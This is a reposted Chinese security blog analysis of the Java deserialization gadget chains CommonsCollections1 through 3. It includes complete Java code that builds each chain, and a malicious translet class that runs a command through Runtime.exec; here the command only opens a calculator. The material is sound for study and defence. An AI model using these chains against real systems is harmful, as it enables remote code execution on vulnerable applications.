Java反序列化安全 - CommonsCollections1-3分析

admin 2025年4月22日09:52:34评论1 views字数 12542阅读41分48秒阅读模式

CommonsCollections1分析

1.环境搭建

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>
  • • AnnotationInvocationHandler调试与Find问题https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/8dd0918b97a4 下载对应版本的zip,在jd8u65文件夹下存在一个src.zip,解压后将src/share/classes/sun文件夹放在src下。

Java反序列化安全 - CommonsCollections1-3分析

  • • 调用Find usages找不到,可以修改配置如下:Java反序列化安全 - CommonsCollections1-3分析
  • • 版本限制
    • • jdk<=8u65

2.调试分析

常见的命令调用方式:

Runtimer= Runtime.getRuntime();r.exec("open -a calculator");

当我们利用InvokerTransformer时,它的transform方法如下:

public Object transform(Object input) {if (input == null) {returnnull;    }try {Classcls= input.getClass();//获取input的class对象Methodmethod= cls.getMethod(iMethodName, iParamTypes);//通过class对象获取方法return method.invoke(input, iArgs); //方法调用还是通过input    }      ....}

同样可以构造出执行calc的代码,如下:

newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}).transform(r);

根据java反序列化的调用方式,需要找到一处调用transform方法的位置。

在CC1链中利用的是TransformedMap#checksetValue方法,如下:

protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}

TransformedMap中是实现了AbstractInputCheckedMapDecorator接口,该接口中存在setValue方法调用到checkSetValue方法,代码如下:

public Object setValue(Object value) {    value = parent.checkSetValue(value);return entry.setValue(value);}

通过TransformedMap可以用来装饰另一个Map以变换添加的对象,也就是说我们可以将命令执行的代码改写为如下:

Runtimer= Runtime.getRuntime();InvokerTransformerinvokerTransformer=newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"open -a calculator"});HashMap<Object, Object> hashMap = newHashMap<>();hashMap.put("name","123");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);for (Map.Entry o : decorate.entrySet()) {    o.setValue(r);}

那么接下来需要找到一处调用setValue方法的位置,这里发现AnnotationInvocationHandler#readObject中存在memberValue.setValue的调用形式且memberValue值可控,使用它继续构造链子,代码如下:

Runtimer= Runtime.getRuntime();InvokerTransformerinvokerTransformer=newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"open -a calculator"});  HashMap<Object, Object> hashMap = newHashMap<>();  hashMap.put("name","123");  Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);  Class<?> annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor<?> annotationConstructor = annotation.getDeclaredConstructor(Class.class, Map.class);  annotationConstructor.setAccessible(true);Objecto= annotationConstructor.newInstance(Bean.class, decorate);

但是该构造很明显存在问题:1.Rumtime不可序列化的. 2.memberValue.setValue(xxxx)其中xxx不可控.

为了解决这两个问题,需要利用到其它类,可以使用ChainedTransformer它的代码如下:

public Object transform(Object object) {for (inti=0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }return object;}

它实现的功能:依次调用每个Transformer.transform,将结果传递到下一个Transformer中,利用该功能改写一下命令执行的部分,代码如下:

ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"open -a calculator"}),});chainedTransformer.transform(r);

通过以上代码,能够通过chainedTransformer.transform(r);进行利用链的调用,但是前面提到的Runtime对象是不能够序列化的,所以还得换种方式。

ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newInvokerTransformer("getMethod"newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});chainedTransformer.transform(Runtime.class);

通过这样的形式,解决了Runtime不可序列化的问题,还有一个问题就是setValue(xxxx)其中xxxx是不可控的,所以像上面的调用,无法直接传入Runtime.class,这个点需要利用到ConstantTransformer,它的transform代码如下:

public Object transform(Object input) {return iConstant;}

调用之后原样返回,这样解决setValue值不可控的问题,成功解决了这两个问题,代码如下:

ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod"newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});chainedTransformer.transform("123");

结合之前提到的,构造出完整的链子:

ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod"newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});HashMap<Object, Object> hashMap = newHashMap<>();hashMap.put("name","123");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);Class<?> annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> annotationConstructor = annotation.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Objecto= annotationConstructor.newInstance(Bean.class, decorate);unSerialize(serialize(o));

3.反序列化调用图

Java反序列化安全 - CommonsCollections1-3分析

CommonsCollections2分析

1.环境搭建

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.1</version></dependency>

2.调试分析

在 commons-collections4:4.1 依赖中原来实现反序列化接口的类被修改了,只能寻找一些其它的类。在该链子中利用PriorityQueue作为入口类调用其的compare方法

Java反序列化安全 - CommonsCollections1-3分析

comparator变量可控,利用TransformingComparator#compare(...),其中存在transform(...)方法,同样的this.transformer变量可控可序列化

Java反序列化安全 - CommonsCollections1-3分析

接着利用InvokerTransformer#transform(...),在方法中存在反射调用,所以调用到TemplatesImpl#newTransformer()来触发字节码加载。

代码构造如下:

TemplatesImpltemplates=newTemplatesImpl();ClasstemplatesImplClass= templates.getClass();Fieldname= templatesImplClass.getDeclaredField("_name");  name.setAccessible(true);  name.set(templates,"aaaa");FieldbyteCodes= templatesImplClass.getDeclaredField("_bytecodes");  byteCodes.setAccessible(true);  byteCodes.set(templates,newbyte[][]{Files.readAllBytes(Paths.get("/Users/me7eorite/Documents/GitHub/Learning-Demo/JavaStudy/target/classes/com/learning/security/serialization/commons/Exp.class"))});Fieldtfactory= templatesImplClass.getDeclaredField("_tfactory");  tfactory.setAccessible(true);  tfactory.set(templates,newTransformerFactoryImpl());//============================================================================================================================================InvokerTransformernewTransformer=newInvokerTransformer<>("newTransformer"newClass[]{}, newObject[]{});TransformingComparatortransformingComparator=newTransformingComparator(newTransformer);PriorityQueuepriorityQueue=newPriorityQueue(transformingComparator);ClasspriorityClass= priorityQueue.getClass();Fieldsize= priorityClass.getDeclaredField("size");  size.setAccessible(true);  size.set(priorityQueue,2);Fieldqueue= priorityClass.getDeclaredField("queue");  queue.setAccessible(true);  queue.set(priorityQueue,newObject[]{templates,templates});byte[] serialize = serialize(priorityQueue);  unSerialize(serialize);

3.反序列化利用链图

Java反序列化安全 - CommonsCollections1-3分析

CommonsCollections3分析

1.环境搭建

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>

2.调试分析

2.1 链子1

这个链子的Sink与CC1相同,通过反射调用到TemplatesImpl#newTransformer()实现动态类加载。

首先分析一下TemplatesImpl中的代码,部分代码如下:

privatevoiddefineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoaderloader= (TransletClassLoader)    AccessController.doPrivileged(newPrivilegedAction() {public Object run() {returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());        }    });...for (inti=0; i < classCount; i++) {        _class[i] = loader.defineClass(_bytecodes[i]);finalClasssuperClass= _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {            _transletIndex = i;        }...}

在上述代码中涉及到2个关键变量:1._bytecodes 2. _tfactory 在调用的过程中还会涉及到一个变量:3._name.

关键的代码调用在于loader.defineClass(_bytecodes[i]),在这边的话需要了解一些关于类加载知识,简单来说,调用到该位置后,可以在运行中利用字节码加载一个类。

加载的这个类还必须满足superClass.getName().equals(ABSTRACT_TRANSLET),也就是父类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.

了解以上的点之后,利用反射通过TemplatesImple构造一个命令执行:

TemplatesImpltemplates=newTemplatesImpl();Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name");_name.setAccessible(true);_name.set(templates,"aaaa");//=================================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory");_tfactory.setAccessible(true);_tfactory.set(templates,newTransformerFactoryImpl());//=================================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes");_bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/java/Exp.class"));byte[][] byteCodes = {code};_bytecodes.set(templates,byteCodes);templates.newTransformer();

还需要定义一个exp的类,然后编译出class文件:

publicclassExpextendsAbstractTranslet {publicExp() {}publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}static {try {        Runtime.getRuntime().exec("open -a calculator");    } catch (IOException var1) {thrownewRuntimeException(var1);    }}}

然后就可以触发命令执行,根据上述的点在与CC1部分链子进行拼接。

TemplatesImpltemplates=newTemplatesImpl();Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name");_name.setAccessible(true);_name.set(templates,"aaaa");//===============================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory");_tfactory.setAccessible(true);_tfactory.set(templates,newTransformerFactoryImpl());//===============================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes");_bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/me7eorite/Documents/GitHub/Learning-Demo/JavaStudy/target/classes/com/learning/security/serialization/commons/Exp.class"));byte[][] byteCodes = {code};_bytecodes.set(templates,byteCodes);//==================方式一========================================ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(templates),newInvokerTransformer("newTransformer",newClass[]{},newObject[]{})});HashMap<Object, Object> hashMap1 = newHashMap<>();hashMap1.put("123","123");Mapdecorate= LazyMap.decorate(hashMap1, chainedTransformer);TiedMapEntrytiedMapEntry=newTiedMapEntry(decorate, "123");//=================方式二==========================================//InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});//HashMap<Object, Object> hashMap1 = new HashMap<>();//hashMap1.put(templates,"123");//Map decorate = LazyMap.decorate(hashMap1, newTransformer);//TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates);//=================================================================HashMap<Object, Object> hashMap2 = newHashMap<>();hashMap2.put(tiedMapEntry,"123");decorate.clear();byte[] serialize = serialize(hashMap2);unSerialize(serialize);

2.2 链子2

如果Sink不利用反射调用有没有其它的方式?答案是有的。

利用InstantiateTransformer#transform调用后,会触发xxx.newInstance(args),通过TrAXFilte#init方法,触发xxx.newTransformer()

TemplatesImpltemplates=newTemplatesImpl();    Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name");    _name.setAccessible(true);    _name.set(templates,"aaaa");//=================================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory");    _tfactory.setAccessible(true);    _tfactory.set(templates,newTransformerFactoryImpl());//=================================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes");    _bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/mxxx/Exp.class"));byte[][] byteCodes = {code};    _bytecodes.set(templates,byteCodes);ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})    });    HashMap<Object, Object> hashMap1 = newHashMap<>();    hashMap1.put("123","123");Mapdecorate= LazyMap.decorate(hashMap1, chainedTransformer);TiedMapEntrytiedMapEntry=newTiedMapEntry(decorate, "123");    HashMap<Object, Object> hashMap2 = newHashMap<>();    hashMap2.put(tiedMapEntry,"123");    decorate.clear();byte[] serialize = serialize(hashMap2);    unSerialize(serialize);

3.调用图

Java反序列化安全 - CommonsCollections1-3分析

原文始发于微信公众号(Gh0xE9):Java反序列化安全 - CommonsCollections1-3分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月22日09:52:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化安全 - CommonsCollections1-3分析http://cn-sec.com/archives/3984383.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息